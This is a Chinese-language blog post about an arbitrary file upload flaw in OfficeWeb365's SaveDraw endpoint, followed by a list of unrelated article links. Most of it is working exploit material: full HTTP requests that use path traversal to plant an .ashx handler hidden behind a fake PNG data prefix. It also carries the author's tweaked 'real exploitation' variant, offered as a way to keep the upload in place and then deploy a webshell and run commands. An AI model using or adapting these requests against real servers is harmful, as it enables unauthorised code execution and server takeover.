OfficeWeb365 SaveDraw 任意文件上传漏洞

OfficeWeb365SaveDraw 接口存在文件上传漏洞,允许攻击者上传任意文件并执行恶意代码,从而获取服务器权限。这一漏洞影响版本包括 v8.6.1.0v7.18.23.0

漏洞利用示例

攻击者通过以下 HTTP 请求上传恶意文件:

POST /PW/SaveDraw?path=../../Content/img&idx=10.ashx HTTP/1.1

Host: xx.xx.xx.xx:8088

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36

Content-Type: application/x-www-form-urlencoded

data:image/png;base64,{{filehash}}<%@ Language="C#" Class="Handler1" %>public class Handler1:System.Web.IHttpHandler

{

public void ProcessRequest(System.Web.HttpContext context)

{

System.Web.HttpResponse response = context.Response;

response.Write(44 * 41);

string filePath = context.Server.MapPath("/") + context.Request.Path;

if (System.IO.File.Exists(filePath))

{

System.IO.File.Delete(filePath);

}

}

public bool IsReusable

{

get { return false; }

}

}///---

成功后,攻击者可通过访问 http://target.com/Content/img/UserDraw/drawPW10.ashx 执行上传的恶意代码。

但是这个代码是一次性的 访问后就会删除 因为网上的POC有System.IO.File.Delete(filePath);

所以再真的利用的poc要用

GET /PW/SaveDraw?path=../../Content/img&idx=bddalnpl.ashx HTTP/1.1

Host: target

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Content-Length: 511

data:image/png;base64,30087ab5b1cd6d7d34d7f22f53819448<%@ Language="C#" Class="Handler1" %>public class Handler1:System.Web.IHttpHandler

{

public void ProcessRequest(System.Web.HttpContext context)

{

System.Web.HttpResponse response = context.Response;

response.Write("Webshell");

string filePath = context.Server.MapPath("/") + context.Request.Path;

if (System.IO.File.Exists(filePath))

{

System.IO.File.Delete(filePath);

}

}

public bool IsReusable

{

get { return false; }

}

}///---

这个POC就长久化了。最后上传成品并执行命令

相关推荐
Flynt2 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab7 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
Aphasia31110 天前
VPN 与内网穿透
安全
Mr_愚人派11 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao12 天前
【无标题】
人工智能·安全
Alsn8612 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院12 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest12 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安12 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
开发小能手-roy12 天前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全